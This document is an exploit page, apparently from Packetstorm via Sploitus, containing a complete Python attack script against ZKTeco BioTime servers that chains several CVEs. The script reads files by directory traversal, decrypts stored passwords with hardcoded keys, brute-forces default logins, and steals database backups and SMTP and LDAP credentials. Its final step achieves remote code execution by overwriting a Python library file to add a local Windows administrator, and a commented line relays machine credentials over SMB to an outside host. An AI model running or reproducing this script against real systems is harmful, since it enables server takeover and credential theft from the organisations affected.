Share
## https://sploitus.com/exploit?id=PACKETSTORM:177859
# __________.__ ___________.__   
# \______ \__| ___\__ ___/|__| _____ ____   
# | | _/ |/ _ \| | | |/ \_/ __ \   
# | | \ ( <_> ) | | | Y Y \ ___/   
# |______ /__|\____/|____| |__|__|_| /\___ >  
# \/ \/ \/   
# Tested on 8.5.5 (Build:20231103.R1905)  
# Tested on 9.0.1 (Build:20240108.18753)  
# BioTime, "time" for shellz!  
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952  
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951  
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950  
# RCE by adding a user to the system, not the app.  
# Relay machine creds over smb, while creating a backup  
# Decrypt SMTP, LDAP or SFTP creds, if any.  
# Get sql backup. Good luck cracking those hashes!  
# Can use Banner to determine which version is running  
# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7  
# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7  
# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7  
# Server: Apache => BioTime Version 9  
# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)  
import requests  
from bs4 import BeautifulSoup  
import os  
import json  
import sys  
from Crypto.Cipher import AES  
from Crypto.Cipher import ARC4  
import base64  
from binascii import b2a_hex, a2b_hex  
  
requests.packages.urllib3.disable_warnings()  
  
proxies = {  
'http': 'http://127.0.0.1:8080', # Proxy for HTTP traffic  
'https': 'http://127.0.0.1:8080' # Proxy for HTTPS traffic  
}  
proxies = {}  
  
target = sys.argv[1]  
  
  
  
def decrypt_rc4(base64_encoded_rc4, password="biotime"):  
encrypted_data = base64.b64decode(base64_encoded_rc4)  
cipher = ARC4.new(password.encode())  
decrypted_data = cipher.decrypt(encrypted_data)  
return decrypted_data.decode()  
  
# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="  
# password = "biotime"  
  
# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)  
# print("Decrypted data:", decrypted_data)  
  
AES_PASSWORD = b'china@2018encryption#aes'  
AES_IV = b'zkteco@china2019'  
  
def filling_data(data, restore=False):  
'''  
:param data: str  
:return: str  
'''  
if restore:  
return data[0:-ord(data[-1])]  
block_size = AES.block_size # Use AES.block_size instead of None.block_size  
return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)  
  
def aes_encrypt(content):  
'''  
Encryption  
:param content: str, The length of content must be times of AES.block_size, using filling_data to fill out  
:return: str  
'''  
if isinstance(content, bytes):  
content = str(content, 'utf-8')  
cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)  
encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))  
result = b2a_hex(encrypted).decode('utf-8')  
return result  
  
def aes_decrypt(content):  
'''  
Decryption  
:param content: str or bytes, Encryption string  
:return: str  
'''  
if isinstance(content, str):  
content = content.encode('utf-8')  
cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)  
result = cipher.decrypt(a2b_hex(content)).decode('utf-8')  
return filling_data(result, restore=True)  
  
#Check BioTime  
url = f'{target}/license/'  
response = requests.get(url, proxies=proxies, verify=False)  
html_content = response.content  
  
  
soup = BeautifulSoup(html_content, 'html.parser')  
build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]  
  
build = None  
for line in build_lines:  
build = line  
print(f"Found BioTime: {line}")  
break  
  
if build != None:  
buildNumber = build[0]  
else:  
print("Unsupported Target!")  
sys.exit(1)  
  
# Dir Traversal  
url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'  
response = requests.get(url, proxies=proxies, verify=False)  
try:  
print("Dir Traversal Attempt\nOutput of windows/win.ini file:")  
print(base64.b64decode(response.text).decode('utf-8'))  
try:  
url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'  
response = requests.get(url, proxies=proxies, verify=False)  
attConfig = base64.b64decode(response.text).decode('utf-8')  
#print(f"Output of BioTime config file: {attConfig}")  
except:  
try:  
url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'  
response = requests.get(url, proxies=proxies, verify=False)  
attConfig = base64.b64decode(response.text).decode('utf-8')  
#print(f"Output of BioTime config file: {attConfig}")  
except:  
print("Couldn't get BioTime config file (possibly non default configuration)")  
lines = attConfig.split('\n')  
  
for i, line in enumerate(lines):  
if "PASSWORD=@!@=" in line:  
dec_att = decrypt_rc4(lines[i].split("@!@=")[1])  
lines[i] = lines[i].split("@!@=")[0]+dec_att  
attConfig_modified = '\n'.join(lines)  
print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")  
except:  
print("Couldn't exploit Dir Traversal")  
  
  
# Extract Cookies  
url = f'{target}/login/'  
  
response = requests.get(url, proxies=proxies, verify=False)  
  
if response.status_code == 200:  
soup = BeautifulSoup(response.text, 'html.parser')  
  
csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})  
if csrf_token_header:  
csrf_token_header_value = csrf_token_header['value']  
print(f"CSRF Token Header: {csrf_token_header_value}")  
  
session_id_cookie = response.cookies.get('sessionid')  
if session_id_cookie:  
print(f"Session ID: {session_id_cookie}")  
  
csrf_token_value = response.cookies.get('csrftoken')  
if csrf_token_value:  
print(f"CSRF Token Cookie: {csrf_token_value}")  
else:  
print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")  
  
# Login Now!  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
  
for i in range(1,10):  
username = i  
password = '123456' # Deafult password!  
  
data = {  
'username': username,  
'password': password,  
'captcha':'',  
'login_user':'employee'  
}  
  
headers = {  
'User-Agent': 'Krash Consulting',  
'X-CSRFToken': csrf_token_header_value  
}  
  
response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)  
  
if response.status_code == 200:  
json_response = response.json()  
ret_value = json_response.get('ret')  
if ret_value == 0:  
print(f"Valid Credentials found: Username is {username} and password is {password}")  
session_id_cookie = response.cookies.get('sessionid')  
if session_id_cookie:  
print(f"Auth Session ID: {session_id_cookie}")  
  
csrf_token_value = response.cookies.get('csrftoken')  
if csrf_token_value:  
print(f"Auth CSRF Token Cookie: {csrf_token_value}")  
break  
  
if i == 9:  
print("No valid users found!")  
sys.exit(1)  
  
# Check for Backups  
def downloadBackup():  
url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
  
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  
response_data = response.json()  
print("Backup files list")  
print(json.dumps(response_data, indent=4))  
  
if response_data['count'] > 0:  
backup_info = response_data['data'][0] # Latest Backup  
operator_name = backup_info['operator']  
backup_file = backup_info['backup_file']  
db_type = backup_info['db_type']  
  
  
print("Operator:", operator_name)  
print("Backup File:", backup_file)  
print("Database Type:", db_type)  
  
if buildNumber == "9":  
createBackup()  
print("Backup File password: Krash")  
  
#download = os.path.basename(backup_file)  
  
path = os.path.normpath(backup_file)  
try:  
split_path = path.split(os.sep)  
files_index = split_path.index('files')  
relative_path = '/'.join(split_path[files_index + 1:])  
except:  
return False  
  
url = f'{target}/files/{relative_path}'  
print(url)  
response = requests.get(url, proxies=proxies, verify=False)  
if response.status_code == 200:  
filename = os.path.basename(url)  
with open(filename, 'wb') as file:  
file.write(response.content)  
print(f"File '{filename}' downloaded successfully.")  
else:  
print("Failed to download the file. Status code:", response.status_code)  
return False  
else:  
print("No backup Found!")  
return True  
  
def createBackup(targetPath=None):  
print("Attempting to create backup.")  
url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  
html_content = response.content  
  
soup = BeautifulSoup(html_content, 'html.parser')  
pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]  
print(f"Possible backup location: {pathBackup}")  
  
  
url = f'{target}/base/dbbackuplog/action/'  
  
if targetPath == None:  
if buildNumber == "9" or build[:5] == "8.5.5":  
targetPath = "C:\\ZKBioTime\\files\\backup\\"  
else:  
targetPath = "C:\\BioTime\\files\\fw\\"  
if buildNumber == "9":  
data = {  
'csrfmiddlewaretoken': csrf_token_value,  
'file_path':targetPath,  
'action_name': '44424261636b75704d616e75616c6c79',  
'backup_encryption_choices': '2',  
'auto_backup_password': 'Krash'  
}  
else:  
data = {  
'csrfmiddlewaretoken': csrf_token_value,  
'file_path':targetPath,  
'action_name': '44424261636b75704d616e75616c6c79'  
}  
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)  
if response.status_code == 200:  
print("Backup Initiated.")  
else:  
print("Backup failed!")  
  
if downloadBackup():  
createBackup()  
downloadBackup()  
  
url = f'{target}/base/api/systemSettings/email_setting/'  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
  
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  
if response.status_code == 200:  
response_data = response.json()  
print("SMTP Settings")  
for key in response_data:  
if 'password' in key.lower():  
value = response_data[key]  
#print(f'{key} decrypted value {aes_decrypt(value)}')  
response_data[key] = aes_decrypt(value)  
  
print(json.dumps(response_data, indent=4))  
  
  
url = f'{target}/base/api/systemSettings/ldap_setup/'  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
  
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  
if response.status_code == 200:  
response_data = response.json()  
print("LDAP Settings")  
for key in response_data:  
if 'password' in key.lower():  
value = response_data[key]  
#print(f'{key} decrypted value {aes_decrypt(value)}')  
response_data[key] = aes_decrypt(value)  
print(json.dumps(response_data, indent=4))  
  
  
def sftpRCE():  
print("Attempting RCE!")  
#Add SFTP, Need valid IP/credentials here!  
print("Adding FTP List")  
  
url = f'{target}/base/sftpsetting/add/'  
myIpaddr = '192.168.0.11'  
myUser = 'test'  
myPassword = 'test@123'  
  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
data = {  
'csrfmiddlewaretoken': csrf_token_value,  
'host':myIpaddr,  
'port':22,  
'is_sftp': 1,  
'user_name':myUser,  
'user_password':myPassword,  
'user_key':'',  
'action_name': '47656e6572616c416374696f6e4e6577'  
}  
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)  
print(response)  
  
url = f'{target}/base/sftpsetting/table/?page=1&limit=33'  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
  
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  
response_data = response.json()  
print("FTP List")  
print(json.dumps(response_data, indent=4))  
  
backup_info = response_data['data'][0] # Latest SFTP  
getID = backup_info['id']  
  
if getID:  
print("ID to edit ", getID)  
  
#Edit SFTP (Response can have errors, it doesn't matter)  
print("Editing SFTP Settings")  
if buildNumber == "9":  
dirTraverse = '\..\..\..\python311\lib\io.py'  
else:  
dirTraverse = '\..\..\..\python37\lib\io.py'  
  
if len(dirTraverse) > 30:  
print("Directory Traversal length is greater than 30, will not work!")  
sys.exit(1)  
  
url = f'{target}/base/sftpsetting/edit/'  
  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
data = {  
'csrfmiddlewaretoken': csrf_token_value,  
'host':myIpaddr,  
'port':22,  
'is_sftp': 1,  
'user_name': dirTraverse,  
'user_password':myPassword,  
'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',  
'obj_id': getID  
}  
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)  
print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")  
  
#Delete SFTP  
print("Deleting SFTP Settings")  
url = f'{target}/base/sftpsetting/action/'  
  
cookies = {  
'sessionid': session_id_cookie,  
'csrftoken': csrf_token_value  
}  
data = {  
'csrfmiddlewaretoken': csrf_token_value,  
'id': getID,  
'action_name': '47656e6572616c416374696f6e44656c657465'  
}  
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)  
  
#RCE  
if buildNumber == "9" or build[:5] == "8.5.5":  
sftpRCE()  
  
# #Relay Creds  
# createBackup("\\\\192.168.0.11\\KC\\test")